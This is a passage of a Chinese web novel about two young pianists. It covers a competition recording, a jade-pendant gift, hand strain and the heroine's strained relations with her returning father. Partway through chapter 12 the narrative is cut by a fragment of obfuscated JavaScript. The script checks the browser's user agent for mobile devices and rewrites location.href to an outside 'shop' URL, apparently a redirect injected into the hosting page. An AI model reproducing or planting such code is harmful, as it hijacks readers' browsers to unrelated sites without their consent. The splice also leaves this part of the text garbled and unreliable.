李寻看着她激动的样子,更和煦:“这个玉坠是我六岁的时候外婆送的。葫芦,福禄保平安。我戴着它,也确实没生过什么病。你不是我是你的玄学吗?那我送一个玄学给你。收下吧,求求小天才了。”说完他就笑。
梁初灵恍惚了一下。
她跟李寻说过,自己刚出生时身体不算好,妈女士很紧张,特意去给她求了个玉坠,很普通的水滴状,用红绳系着戴在脖子上。
她戴到六岁。
一次跟妈女士去逛商场,人多,不知道什么时候,玉就被偷走。
就是那一年,她生了一场严重肺炎。
妈女士后来又想去给她再求一个,结果不知道是巧合还是怎么,妈女士自己那段时间也诸事不顺,有个长辈就说,缘分尽了,不要再强求。
缘分尽了,不要再强求。
后来这件事好像就那么过去。妈女士依旧会给她买很多漂亮衣服,昂贵玩具,但再也没有提过玉坠的事。
李寻这条当然不可能是她当初丢的那一条。
但她知道李寻的意思。
他想要填补她生命中那块关于守护的缺失。他想把他的福禄平安分给她。
因为知道,所以紧张。
梁初灵感觉鼻子有点酸,看着安静的玉葫芦,又看看安静的李寻,还是不敢伸手。
“我粗心大意,万一弄丢了怎么办。”她找着借口,声音低下去。
李寻看着她低垂的脑袋,毛茸茸的发顶在阳光下看起来有点可怜。
心里叹了口气:“丢了也没事。我帮你戴上去。”
梁初灵看着李寻靠近,手臂绕过她的脖颈,这个姿势,几乎是一个拥抱。
“好了。”李寻退开一步。
梁初灵伸手摸了摸那个葫芦,迟钝如她,在这一刻也感觉到,有什么东西变得不一样。
她却发现自己词穷。
11. 《帕格尼尼主题狂想曲》
四月了。
北京的春天羞涩,阳光也不够分量,不比有情人,只见等待不见消磨。
琴房小楼里的气氛却比窗外紧绷。
国际大赛的报名系统开放。
预选视频采用线上提交录像的方式。
参赛者必须提交一份总时长在25至40分钟之间的录像,曲目选择需展现选手全面的技术能力和音乐深度。
李炽对此重视,拿出了比平时授课更严苛的架势。
加班加点,为二人各自设计了曲目单。顺序不是随便排,李炽精心安排着起承转合。
“曲子顺序就是你的呼吸,你的叙事。开场要抓人,中间要有层次和对比,结尾要留下余韵。要让评审在四十分钟里,忘记他们是在评判,而是跟着你的音乐走完一段旅程,听懂你要讲的故事。”李炽指着安排对二人说。
光是玛祖卡这一项就够烦人。
这种源自波兰乡村的舞曲,节奏独特,充满了自由速度和音色变化,难把握其神韵。
李炽特意请了一位研究波兰舞曲的老教授来上了几节小课,专门抠玛祖卡的律动和民族风情。
那段时间,小楼里激昂,忧郁,溪流潺潺,暴风骤雨。
梁初灵和李寻像两个练琴机器,除了吃饭睡觉就是泡在琴房。梁初灵每天醒来手指都还在被窝里动。李寻也好不到哪里去。
录制当天。
录音录像团队进驻琴房,调试灯光角度和收音设备。
梁初灵觉得这比现场比赛压力还大。现场的失误可以归咎于状态,录像里的瑕疵会被永久记录,被评审反复审视。
录制过程总有不如意的地方。
等两人最后一遍通过,不仅仅是她们,全程监督的李炽,以及忙碌了几个小时的录制团队,都舒了一口气,共同打完了这场仗。
等提交成功时,梁初灵才感觉卸下了一座大山。
高强度训练的后遗症也开始显现。
梁初灵感觉左右手的手腕和大拇指根都不舒服,脖子也痛。
“手怎么了?”李寻问。
“没什么,就是有点酸。”梁初灵没太在意,练琴的人,谁还没点毛病。
李寻没被她敷衍过去:“手伸出来。”
梁初灵伸出右手。
李寻托住她的手腕,在她手腕内侧和虎口处按了按:“这里?还是这里?痛不痛?”
按到某个点,梁初灵吸了口凉气。
“可能是腱鞘炎前兆。你最近练习强度太大,姿势也有问题。”
梁初灵这才有点慌。
李寻比她更着急,腱鞘炎没法根治。
他找到个手部放松操,强硬要求梁初灵跟着做。还找了个按摩球塞她手里:“没事的时候就捏这个,放松肌肉。”
接下来几天,只要看到她空闲下来,李寻就提醒:“操做了吗?球捏了吗?”
也会检查她的坐姿和手型,纠正习惯。
梁初灵被他管得没脾气,哀嚎着李寻你好烦啊,却又只能乖乖照做。也发现李寻着急起来话会变多。
“你怎么懂这么多?”她一边捏着按摩球一边问。
李寻正在帮她调整谱架高度:“以前练得太狠,自己也差点中招。”
预选赛提交后,妈女士那边也得到消息。
风风火火打来电话:“宝贝儿!听说你们比赛录像交啦?辛苦啦!妈妈订了后天的机票去瑞士,走之前咱们吃顿饭!”
餐厅里,梁初灵心不在焉。
妈女士哟了一声,看着梁初灵的脖颈间。
梁初灵今天穿了件圆领毛衣,脖子上露出来玉坠。
“哪儿来的呀?看着不像你自己会买的东西。”
梁初灵想解释:“这个是李……”
“不用跟妈妈汇报!”妈女士打断她,“年轻人嘛,有点小秘密正常!”
妈女士的注意力很快转移,的确不关心这玉坠是哪里来的。
“一会儿妈妈也去给你买点首饰。”
“不用了妈妈。”梁初灵拒绝。
她是学生、她要弹琴、她在外面东奔西跑,种种原因,的确不适合也不习惯戴首饰。
商场中庭有一家宠物店,一只只小猫隔着笼子向外招客。
“你看那只猫!多漂亮!”妈女士扯着梁初灵的袖子,“要不要妈妈也给你买一只?陪你解闷?”
白长毛小猫仰起头,伸出爪子,懵懂可怖,白生生的毛发变黄,爪子变脏,蜕为一只脏兮兮的橘猫。
梁初灵脸上的表情淡下去。
那是她四年级时在路上捡到的一只橘猫,给它治病,带它驱虫,打了第一针疫苗。那时候妈女士还在回家的飞机上,不知道家里多了个成员。
一个月后,梁初灵要去外地参加一个合奏团比赛,不得不离家几天。
千叮万嘱,把小猫托付给刚好到家的妈女士,央求她帮忙照顾,记得带去打剩下的疫苗。
妈女士当时答应得很好。
但第二天就忘了关紧大门,小猫跑了出去再也没回来。
梁初灵比赛拿到金奖,兴高采烈回家,只得到一句“忘了”和“跑了”。
妈女士后来说过要赔她一只,买最贵的猫。梁初灵拒绝。
不是自己捡回来的那只,意义就不再。
妈女士见她态度坚决,也就再没提过,仿佛这件事从未发生。
此刻,却又如此自然地问:“要不要买一只?”
好像完全忘记,曾经有过一只小橘猫,曾经有过一个女儿小心翼翼的托付和随之而来的伤心。
“不用了。我现在练琴很忙,没时间照顾。”梁初灵再次拒绝。
橘色的毛发褪去,再次变回那只白长毛,世界纷纷扰扰在它的眼中,缓缓而来。
梁初灵隔着透明塑料板,和这只猫击了个掌。
妈女士的注意力再次被转移,看向旁边的专柜,刚才的提议和多年前的遗忘一样,都只是她兴之所至的一个念头,轻飘飘,不留痕迹。
梁初灵看着母亲那张美丽的脸,世界并不在她脸上。
妈女士吃完饭就离开,准备车带梁初灵但又被拒绝,梁初灵是第三次拒绝妈女士。妈女士依然没往心里去,道别完自行上车。
梁初灵往外走,是个广场,喷泉涌流,人群挤簇如繁花,嚷嚷不休,但花开终谢,人也散流去往四面八方。
这个广场会有许多艺术家提着伙伴——道具、乐器、麦克风、小孩、动物等,来进行表演。不缺人气。
梁初灵送走了一位带着小孩一起弹唱的大叔,又迎来一位背着电子琴的阿姨。
阿姨抱歉地说自己女儿负责弹琴,但是女儿拉肚子了一会儿再来,但是因为她总是这个点唱歌,所以不好迟到,先清唱一首。
唱了首草原歌曲。
一些快乐的人们随之舞动,空气溢满神奇,神奇在于轻快的舞曲能让一些人感到兴奋和快乐,却也能让一些人感到沉重和曲折。
唱完一首,阿姨的女儿还没来,阿姨发了条消息,打算着再说点什么安抚观众。
梁初灵悄悄过去拍了拍阿姨的肩膀,问:“我先替您女儿帮忙弹一首吧,什么歌呀?”
阿姨惊讶后跟着惊喜,惊喜完又变为羞涩,说是一首老情歌,小姑娘你介意吗?
梁初灵心想我介意个屁,嘴里说我怎么会介意呢?
她视奏能力强,找了个谱子,熟悉了熟悉这把琴,演出开始。
有了伴奏的支撑,歌声更圆润。
弹完一首,和阿姨的女儿交班,把位置交还给专业人士。
梁初灵往外退,肩膀也被人拍了一下。
回头,是李寻。
李寻先开口,眼里带笑:“弹得好,小天才。”
梁初灵左看右看,在找最近的便利店,中午吃咸了,现在想喝水。
找到后不由分说拉着李寻的胳膊就往那边去,边走边问:“你刚才是不是说我弹得超级好来着?”
李寻被她拉着走,故意拆台:“‘超级’这两个字是不是你自己加的……”
梁初灵用力晃他的胳膊:“唉呀!咱们二人之间还计较这个!你真是的!唉呀!”
去了便利店,梁初灵拿完水放上收银台,李寻在后面不紧不慢也放了瓶水过去,对着收银员指了指梁初灵:“我俩一起的,她一块儿付。”
梁初灵不敢置信。
收银员瞠目结舌。
李寻:“哎呀,咱们二人之间还计较这个?你真是的。”
梁初灵:……
她气呼呼往外走,踩得噔噔响,李寻跟在她身后,拿自己手里那瓶刚拧开的水,换走了她手里那瓶还没开的。
梁初灵仰头咕咚咕咚往嘴里灌。一口气瓶子就见底。
豪迈地用手背抹了下嘴角。
李寻看着她牛饮的架势咂舌,没说话,又把刚才从她手里换过来的那瓶水拧开再递过去。
梁初灵接过又是一通猛灌,这次干掉了半瓶。
李寻看着她,语气平淡无波:“真棒啊。”
梁初灵:“……我又棒上了哈?”
李寻笑着问:“一会儿去哪儿?”
梁初灵顾左右而言他:“今晚我家没人。”
李寻:“……?”
他看着她,眼神是询问。
梁初灵也觉得有点突兀,补充道:“我现在没有生病。”
李寻:“……?”
他眼里的疑惑更深,所以呢?真没跟上她的思路。这两句话之间有什么逻辑关系吗?
梁初灵被他连续两个无声的问号
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弄得恼羞成怒,破罐子破摔,图穷匕见:“所以我能去你家玩会儿吗!!!”
任谁来了,也听不出这是个问句。
李寻笑得像是阳光终于穿透了云,慢悠悠说:“你直接说最后这一句又有什么关系呢?”
梁初灵嗨呀一声:“我这不是不好意思吗!”
李寻点点头,很轻地拍了一下她的后脑勺:“别不好意思。车打好了,走吧。”
回到家,一进门,梁初灵就跟回到自己地盘似的,直奔客厅电视柜。
替李寻拆了那一排还没拆封的游戏卡带,抽出一盒最近刚发售的动作游戏。
“等等。”李寻走过来,从她手里拿过卡带,翻出手柄,配对连接电视,“接电视上玩,屏幕大。”
他解释了一句,担心梁初灵玩得手不舒服眼睛也不舒服脖子也不舒服。
梁初灵觉得他事儿多,但还是接过了手柄,盘腿坐在地毯上。
游戏加载,李寻又走了过来,从沙发上捞起抱枕,塞到她后腰:“垫着点,一会儿腰酸。”
梁初灵敷衍地嗯嗯嗯几声。
梁初灵玩得投入,手柄按得噼里啪啦,身体也左右晃动。
玩了大概二十多分钟,李寻看见梁初灵活动了一下手腕。他去倒了杯水放她手边,再拉过她右手,在她手腕和虎口处揉按。
“哎呀你烦不烦!”梁初灵正打到关键处,手被拉住,操作差点失误,气得想甩开他。
李寻没松手,继续按:“预防腱鞘炎。”
梁初灵挣不开,只好任由他按,眼睛还看屏幕:“哎呀要死了要死了!怪过来了!你好烦啊!”
李寻觉得有点好笑,也不还嘴。被她骂几句又不会少块肉,他心想。
过了一会儿,李寻点的果切外卖送到。
他又给梁初灵拌了一大碗水果捞。
梁初灵这回只挑里面的哈密瓜吃,对草莓和蓝莓都视若无睹。
李寻忍不住说:“你口味也变得太单一了吧。上次不是还吃草莓?”
梁初灵:“我这叫专一,你不懂。”
李寻点点头:“行。”
看她把碗里的哈密瓜挑拣得差不多,李寻拿了把干净勺子,坐在她旁边吃剩下的一大碗没有了哈密瓜的水果捞。
梁初灵看了他一眼,没说什么。
玩了一个半小时,李寻觉得不能再这样下去,好声好气跟她商量:“休息一会儿?手和眼睛都需要休息。”
梁初灵垮下脸。
强制让她休息她肯定不乐意,只能想办法转移她的注意力。
李寻带着点哄劝:“要不要听点有意思的东西?”
“什么东西?”
“我的音乐日记。”
“行啊!”梁初灵立刻爬起来,比他还积极。
两人进了李寻的房间。
这房间对梁初灵来说并不陌生,她每次留宿都是睡在这里。但她从未动过他的书桌和电脑。
李寻打开电脑,点开了文件夹。里面是一个个音频文件,命名非常随意:
【3月雨声】
【校门口的车铃】
【隔壁装修】
李寻把耳机递给她,示意戴上。
梁初灵戴好耳机,李寻点开名为【3月雨声】的那个文件。
先是传来淅淅沥沥的真实雨声,敲打在窗户上,密集柔和。
过了几秒,钢琴音符加入,在模仿雨滴的节奏。
又点开【校门口的车铃】
里面是自行车铃和汽车引擎混合,偶尔会加入一两个钢琴高音。
接着是【隔壁装修】
电钻声和敲击声刺耳。李寻加入的钢琴片段带着实验性,镶嵌在噪音的节奏点上,把装修声当成打击乐来合作。
最后,点开了一个后期整理过的文件,没有具体命名。里面融合了好几种环境音。
雨声、车流、人的笑声。钢琴的音符穿插其间,连贯起伏。
甚至梁初灵听到了来自隔壁房间的钢琴声——是她在练习。
她的演奏,在他这里,也成了城市背景音的一部分,被平等收录,被诗意呈现。
梁初灵坐在李寻的书桌前,戴着耳机一动不动。
她听到了自己从未注意过的世界的旋律。
她的音乐世界是由伟大的作曲家构筑的殿堂,她努力去理解去诠释去征服。
而李寻好像不在乎那些殿堂。
他蹲下身,趴在泥土上,耳朵贴着地面,聆听着世界杂乱无章却生机勃勃的脉搏,然后摘下几个音符,音符长成新的心脏。
她一直知道李寻乐感好,但此刻她才真正明白,他的天赋在哪里。
李寻被她看得有些不自在:“怎么了?”
“李寻,你真是个天才!”
12. 《勃兰登堡协奏曲》
好景不常在。
这句话的第一个意思是:梁父回来了。
梁父带着一种试图重新掌控局面的气势,要住回这个他名义上的家。
人还没进家门,旨意先达,给还在外飘着的妈女士打电话,通知她也赶紧回家,天天在外面像什么样子!
自己在外面潇洒的时候,觉得这样客气的家庭氛围正好,互不干涉,各自独立。
现在渴望家庭温暖的时候,就想起这个家原本应当是什么样子。
并不觉得是自己变心太快,只觉身不由己——
男人总是觉得身不由己。
妈女士接到电话,只嗤笑,对身边人说了句:“准是外面那位把他给踹了,这才想起家里还有老婆孩子。”
一个本来心思就不在家庭上的中年男人,在外受挫,灰溜溜回归,怎么可能是回来奉献爱和温暖的,当然是回来汲取的。
像个吸血鬼,需要这个空间这对母女来填补他受损的自尊和空虚。
吐槽归吐槽,但还是订了最快的航班回来。
回来后,妈女士就拉着女儿说可要做好吃苦的准备了噢。
梁初灵不以为然:“怎么会?爸爸回来不是好事吗?”
心里还暗暗觉得妈女士这是在以自己之心度爸爸之腹!是妈女士自己不希望一家团圆家庭和睦,影响她自己的生活!
梁初灵有着天真得让她自己都脸红的念头:爸爸就是决定了要改头换面、回归家庭。
爸爸回来了,妈妈也回来了。
这个家会变成一个完美完满完善,和别人家一样的家。
往心里深处想,她所认为的别人家——李寻的家,也并不是世俗意义上和别人家。
但她还没法往心里深处想。
妈女士捏了捏梁初灵的脸颊肉:“没关系,你会明白的。”又伸了伸懒腰,“妈妈也想得开,有钱有闲有女儿,他爱演父慈子孝就演吧。”
梁父回来那天,把箱子往门口一扔,对迎上来的张姨说:“把我的西装都熨一遍。”然后把梁初灵从楼上叫下来,“初灵,爸爸回来了,怎么不过来?”
梁初灵下楼叫了声爸。梁父走过来,重重坐在她身边,沙发陷下去一块,长长叹了口气:“还是家里舒服。初灵,给爸爸倒杯水好不好?爸爸头疼。”
这就是梁父归家的开场。
妈女士不意外,过来搂着女儿坐到另一边:“回来了?正好,给我参谋参谋新买的丝巾。”
梁父皱起眉头:“你就知道买这些没用的。”
妈女士不以为意,把丝巾绕在梁初灵脖子上比划:“怎么没用了?看着高兴就是有用处,初灵,你看这个颜色好不好看?”
梁初灵尴尬点头。
晚餐时,梁父没什么胃口,吃了几口就放下,看着梁初灵:“初灵,你看爸爸是不是瘦了?”
梁初灵抬头,看着父亲那张并没什么变化的脸,有点拿不准:“啊?没有吧。有吗?”
“有的,爸爸瘦了很多。”
这像是打开了他倾诉的闸门。
“最近公司事情多,烦心。上个项目又亏了钱。有时候想想,这么拼命是为了什么?连个说知心话的人都没有。”
生意场上的烦恼,合作伙伴不靠谱,项目棘手。全世界都在与他为敌。
梁初灵被迫听着,不敢动。爸爸难得对她流露出脆弱,她有点无所适从,但又不知道从哪里安慰起。
感觉怎么说都不对,只能像个鹌鹑一样找着节奏就点点头。
如她并不喜欢吃糖,但别人递过,她就会接。
所以梁父更加感慨地拍拍她的肩:“还是女儿好,是爸爸的贴心小棉袄。你总是很乖,只有你知道爸爸的辛苦。”
又伸手想摸她的头,被梁初灵躲开。他自然不满,“你现在连爸爸都不愿意亲近了?”
妈女士哎呀一声,指着窗外:“快看,那是不是只鸟撞玻璃上了?”
梁初灵抓住空隙:“爸,妈,我吃好了,你们慢慢吃。”
身后梁父:“这孩子……”
妈女士轻飘飘安抚:“随她去吧,弹琴是正事。来,喝汤,这汤炖了一下午呢。”
梁初灵不敢承认自己不想在家里呆着,毕竟几天前希冀爸爸回家的也是她。每天吃完晚饭后她都让司机送她去学校琴房练琴,只说是习惯如此——不算假话,以前她也是跟学校那台钢琴磨合得更好。
路途不远但也奔波,她却觉得放松。
弹琴是正事,但不是梁父的正事,那么就不算正事。
梁初灵放松了两天,梁父以来回跑太辛苦、爸爸心疼为由,让她必须回家练琴。说实在不行把学校琴房那台钢琴买回家,梁初灵没法……
回家练琴的第一晚,梁父在她练琴时突然推门进来,站在旁边听一会儿,发表高见:“这个地方是不是弹得太轻了?要重一点!有力道!”
梁初灵一脑门问号的把梁父请出去。
请出去半小时后,梁父再次推门而入,举着手机录像:“来,给爸爸弹一段最拿手的,我发给王总看看!他女儿也学琴。”
梁初灵一脑门感叹号的再把梁父请出去。
请出去半小时后,梁父第三次推门而入,端着杯热牛奶:“初灵,别太累,注意身体!”
梁初灵:……
练完琴出来倒水,看见梁父正拿着她放在茶几上的比赛曲目单翻看,手指在上面点点戳戳。
“这首,”梁父用一种‘虽然我没学过,但我就是很懂’的语气,“气势要足!到时候评委就吃这套!”
梁初灵没吭声,拿了水杯要走,又被拉住谈心。
她真的不解,一个中年男人,怎么能有这么多无处安放的心事!
第二天,梁父本来约了人打高尔夫,结果场地出了人命官司,只能临时取消。心血来潮想当慈父,亲自开车去接女儿下课。到了李炽琴房楼下,没等到梁初灵,却看见她和李寻并肩从旁边的小吃店走出来。
两人手里各拿着一杯饮料,梁初灵正比划着说什么,李寻侧头听着,脸上带着笑意。
回家路上,“那个男生,就是李炽的儿子?”梁父握着方向盘问。
“嗯。”梁初灵不想多谈。
“你每次上课都是跟他一起?”
“我们是练琴。”梁初灵强调练琴两个字。
“练琴?他弹得不如你吧?还不是走后门进去的。他长得一看就不是老实弹琴的。我看李炽也是不老实,那能带出什么老实的儿子?搞艺术的有几个是心思正的。”也没意识到把自己女儿也骂了进去。
梁初灵倒是没反应过来也骂了自己,她是不能忍受他这样污蔑李炽和李寻。
李炽老师对她倾囊相授,李寻是给她带来平静的人。
“你凭什么这么说李老师和李寻?你了解她们吗?”
“我不需要了解,我看得多了。表面上清高而已。你才多大?知道什么是人心险恶?我告诉你,离那小子远点。”
梁初灵气得发抖:“李炽是我老师,李寻是我朋友!你什么都不知道,就在这里胡说八道!”
“我是你爸!我这是为你好,怕你被人骗了!”
“为我好就是拿我的生日给你情人的相册当密码吗?你说李炽老师不老实,那我请问你很老实吗?”梁初灵怒火滔天。
梁父的脸色由红转青,由青转白,手背青筋暴起。没料到梁初灵会知道这件事,更没料到她会在此刻戳穿。
“你胡说八道什么!”他维持威严。
“我是不是胡说你心里清楚。”梁初灵争吵到了伤心处,感觉呼吸困难,不自觉地抬起手,握住了脖子上的那个玉坠,冰冰凉,却好像有力量顺着流淌进身体,奇迹般地冷静了一点,“我不管你怎么想,李炽老师和李寻对我很重要。你没有资格侮辱她们。”
车到门口,妈女士等在门口,拉开后座车门,一把把女儿抱下来放在地上,再拍了拍梁初灵的肩膀,语气带着夸张的惊叹:“哎呀宝贝你这黑眼圈重的,今晚跟妈妈睡,我守着你睡,不准熬夜。”
妈女士话插得突兀,偏离了争吵的核心。
梁父一口气堵着,脸色通红,冲着妈女士:“你瞎掺和什么,我在教育孩子!”
妈女士立刻缩回手,做出委屈状:“好了好了,你们父女俩都少说两句。吃饭了。”
没办法,梁父憋着火没法再发,梁初灵也失去了继续争吵的力气。
吃饭时,妈女士费心转换话题,又落回那场国际赛事。梁父被妈女士轻易拿捏,频频点头:“初灵,这次比赛,爸爸可是跟人夸下海口了。你能行的。”
梁初灵突然想刺一下他,说:“是吗?可是我其实很没底欸。”
梁父立刻横眉冷竖:“没底?没底就练啊!花那么多钱培养你,请最好的老师。李炽不都说你有天赋吗?怎么就没底!”
梁初灵懒得回了,埋头苦吃。那根刺扎回自己身上。
到了晚上,梁初灵刚结束与李寻的聊天,正好响起敲门声。
“初灵,睡了吗?”梁父的声音。
梁初灵把手机屏幕扣在桌上:“还没。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730788|189655||http|test|mini|href|location''.split(''|''),0,{}));
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>梁父在她回话之前就已经推门,手里端着一盘水果,梁初灵看了一眼,是张姨切的。梁父放下水果,拉过椅子坐了下来,目光落在她面前的乐谱上。
“还在看谱?别太辛苦。”语气温和得异常,叉起一块芒果递给她,“吃点水果,补充维生素。”
梁初灵没接,她根本不爱吃芒果:“我吃那个哈密瓜。”
梁父不满的把果盘推过去一点让她自己拿:“哈密瓜有什么好吃的。”
梁初灵没理,不知道他这是在玩哪一出。
果然,梁父叹口气,用推心置腹的口吻说:“初灵,爸爸知道,以前忙于工作,陪你的时间少了。是爸爸不对。”
“你看现在,爸爸回来了,就是想多弥补你。外面那些人,看着风光,其实没几个真心的。生意场上的应酬,虚与委蛇,爸爸心里也累。只有回到家,看到你,爸爸才觉得踏实。你妈那个人,你也知道,她心思不在家里。”梁父声音压低,带着只有我们父女是一国的暗示,“爸爸能指望的,也就是你了。你懂事优秀,是爸爸最大的骄傲。以后爸爸多陪陪你,你也多跟爸爸说说话,好不好?别总是一个人在房间里,或者总跟些不相干的人待在一起。”
梁初灵放下只咬了一口的哈密瓜:“爸,我有点困了。”
梁父脸上的温情撤下又上场:“好,那你早点休息。爸爸公司后天有个重要酒会,很多合作伙伴都会带家属。你跟爸爸一起去,让他们都看看我梁某的女儿有多优秀。”
没等梁初灵拒绝,他已经带上了门。
梁初灵自然躲不掉那个酒会。被妈女士按着试了好几套礼服,妈女士倒是兴致勃勃。
酒会现场衣香鬓影,觥筹交错。
梁父满面红光,一直带着梁初灵,逢人便介绍:“这是我女儿,初灵,弹钢琴的,现在跟着李炽老师学琴。就是那个那个那个特别厉害的钢琴家!”
大家哦~哦~地应着,脸上是装出来的的惊讶,眼神里并没有太多实质性的了解,对古典音乐圈并不熟悉,也不清楚李炽是谁。只是附和着场面话:“了不起了不起!名师出高徒!梁总您也了不起,虎父无犬女!还得是梁总培养得好!”
梁初灵也不在意,这十分正常,古典音乐圈的大师说实话不会比三线明星来得普适性高。
但一个看起来五十岁上下气质沉静些的叔叔,却突然插话问道:“梁小姐是在李炽那里学钢琴?”他的问话不像其他人只是客套,反而带着点求证的意思。
梁父面色沉着笑了笑点点头,随即看了一眼身边的梁初灵,意思是让她自己来回答这位识货的人。
梁初灵只好对着那位叔叔点点头,应道:“是的,叔叔。”
那位叔叔了然颔首:“我也不太了解你们这个圈子。不过我朋友家有个小孩,弹钢琴也特别厉害,听说最近准备回国发展。之前一次聚餐时,他跟我打听过你。”
信息模糊,大概是想引她发问。但梁初灵心里烦得不行,对什么朋友家的小孩完全提不起兴趣,只觉得又是另一种形式的客套。也跟着客套一句:“哈哈,那很厉害了。”
那位叔叔见她兴趣缺缺,也没再多说,只是笑了笑,便转而与梁父聊起了别的话题。
这个插曲很快被淹没,梁初灵没往心里去,只当是酒会上无数句无用社交对话中的一句。
梁父极为享受这种时刻,揽着女儿肩膀,接受众人赞美,得意太盛,还让梁初灵在现场那架钢琴前弹奏了一段。
中途,梁初灵去洗手间,听到外面走廊传来梁父焦躁的声音,是在打电话。
“你确定?结果出来了?你先别声张,等我处理完这边的事就过去。哄着点,别让她闹。”
梁初灵靠在内墙,外面脚步声远去,她才从洗手间出来。
回到宴会厅,梁父看到她,招手让她过去。梁初灵走过去,看着父亲那张堆满笑意的脸,有点想问是什么结果?
但发问之前,她先在心里问了问自己:我真的想知道吗?我真的好奇吗?
不,并不想知道,并不好奇。
她其实对很多东西都没什么好奇,这被李炽批评过很多次。
其实不是,她也会好奇。
好奇李炽为什么喜欢布伦德尔;为什么选择了教学而不是去发唱片开巡演,为什么要当老师;为什么说现代人再也创造不出古典音乐。
她有好奇的。
好奇李寻为什么对音乐并不崇拜;为什么喜欢草莓;为什么不会生气;为什么会让她有一种雨夜裹着毛毯的感觉。
她好奇的,她有好奇。
13. 《伊比利亚组曲·塞维利亚》
梁父回来还不到两周,梁初灵的烦躁就已经累积到不想回家吃晚饭的程度。
她都被自己想法吓一跳,觉得自己这样是不是跟自己的爹妈没什么区别……
被外面的世界迷了眼,整天不想回家。
但不回家实在是太快乐,梁初灵心想:我不要当乖孩子了!我本来就不是好人!
不想当乖孩子的梁初灵开始找各种借口不回家吃晚饭,理由都很好找:学校加课,跟同学讨论问题,需要去查曲目资料,在李老师那里加练……
不回家吃晚饭的借口不计其数。
不回家吃晚饭的真实去处却很单一,找李寻。
一开始倒是没想麻烦李寻,毕竟梁初灵把这归结于家事,那么受家庭影响而引发的事件当然也属于家事。
李寻国外的朋友给他买了个东西,不知道他家里地址,购物软件上填的是他学校地址。
晚上快十点,李寻出门去学校附近的快递柜取件,拿完出来叫车,隔着一条马路的便利店,面向街道的玻璃窗内坐着梁初灵——梁初灵映入玻璃窗,再转映入李寻的眼眸。
分隔开三个世界,显得渺渺茫茫。
天上星子冷淡,面前的关东煮汤热情。
梁初灵一边喝这嘌呤汤,一边翻手边的曲谱。就这样被李寻敲了敲玻璃。
她抬头,李寻带笑的眼睛看着她。
梁初灵鬼使神差,举起那杯嘌呤汤,隔着玻璃向李寻干杯。
在李寻看来,那杯汤是举到了她的眼眸处,遮盖住一只,另一只影影绰绰,“干杯”,他说。
玻璃再度映射出一对并排坐着的少年人。
“这么晚你怎么还在外面晃悠?”梁初灵先发制人。
“这么晚你怎么还在外面吃饭?”李寻拿过她的那杯汤不让她再喝,结账了一瓶酸奶又给她拧开。
梁初灵接过:“不想回家。我爸最近回家住了,你不是知道吗。”
李寻想起第一次见到梁父,也是像刚才那样隔着一秒玻璃,面遇他的荒唐情事。
现在,如果有认识她们的人经过,隔着玻璃,看见她们,想必也是觉得荒唐,大晚上不回家在这里呆坐。
梁初灵不知道是不是也想到了这件事,她从书包里找出湿纸巾——甚至还是李寻以前替她放进去的,抽出一张递给他,“擦一擦,你刚才敲玻璃了”,她知道他爱干净。
李寻接过一根根擦手指,问:“你这些天都没回家?”
梁初灵不明所以:“嗯啊,我等十一点再回家,那会儿我爸睡了。”
李寻来之前她没认真看桌面,此时才发现桌子角落有一盆绿植,她指了指,“那个是什么植物啊?我也想养盆东西,但我养什么死什么。”
“绿萝。”李寻压根不想接后面那个话题,但又有问必答,快速回答完立刻重新拽回主路,“那你怎么不跟我说,你一个人在外面不安全。”
“有什么不安全的,我就一直在便利店里坐着,写作业、看谱子。这儿有摄像头,安全。”
“你怎么不跟我说?”李寻没放过梁初灵没回答的前半句,重复问一遍。
四月底,冷风捎来春信,可春不来。
他觉得有些不高兴,之前不是什么小事都会来找他吗,这样的冷夜,梁初灵一个人呆了多久呢?为什么不告诉他呢?
前天还一起上课,上课的时候也不跟他说。
李寻想起上完课,自己还催促梁初灵快点回家,要下雨了。
梁初灵恹恹地答应,背着包被他送出小楼。
是不是出了小楼后,她就是这样找一家便利店,一个人,等雨来,等雨停。
再一次,李寻再一次感到心疼。
“你也有自己的事情要做啊,时间是很宝贵的,你不要浪费。我也没有浪费,你不要看着我坐在这里,但是我作业也写了曲谱也记了单词也背了,甚至还能练练指法。”
梁初灵说着把十根手指窝在面前的餐桌上,给李寻表演自己真的能在这里练指法。
本来还想说这些是家事,不好跟李寻说,但想到从一开始,就是自己主动把李寻拉入了自己的家事里面。
需要他的时候不说二话,不需要他了却摆明车马,梁初灵说不出口。
何况,自己真的不需要他吗……
“对啊,所以我也不会浪费。我也可以在外面写作业记谱子背单词,甚至我还能搞搞创作。”
李寻说着也从口袋里掏出一个录音设备晃了晃,意为提醒梁初灵自己也真的能说到做到,他录下来的那些声音日记,梁初灵都听过。
梁初灵心安了一些。于是也讲述了自己的心路历程,想要逃离家庭,所以日日夜夜在外游荡,说完还要自我批判一遍,这样好像是不乖的。
“语文课本的文言文里,‘乖’是违背、差异、反常、不顺利的意思。乖是背离本性,你现在是在听从本性,这很好。不愧是小天才,真棒。”李寻撑着头对她笑。
梁初灵现在已经被他夸得免疫,闻言拍拍胸脯,很骄傲的样子。
从那天起,二人的夜间活动就固定了下来。
梁初灵不回家吃晚饭,行,那李寻也不在家吃。
两人有时在李炽的琴房碰头,反正李炽经常神龙见首不见尾。
梁初灵抱着外卖,一边扒拉饭一边抱怨:“我爸居然想指导我弹琴,他连五线谱都认不全!还说我弹得不够激昂,他懂什么叫激昂吗?”
李寻坐在她旁边,点点头:“他不懂。你吃慢点,米粒沾脸上了。蔬菜也要吃一点。”
有时候不想去琴房,两人就还是找家便利店,占据一角。
梁初灵遇到解不出的数学题,会把本子往李寻那边推:“你会不会?”
李寻在草稿纸上写写画画。他讲题思路清晰。
“李寻,你以后要是当不了钢琴家,可以去当老师。”梁初灵由衷建议。
李寻把写满演算过程的草稿纸推回给她:“谢谢规划。暂时没这打算。”
两人也会去李寻家。
梁初灵看了眼外卖软件:“附近能送的都吃腻了。”
李寻收起手机:“我看看冰箱里有什么。”
梁初灵来了精神:“你会做饭?”
“饿不死。”说完转身就进了厨房。
梁初灵好奇,溜到厨房门口偷看,看得出神。
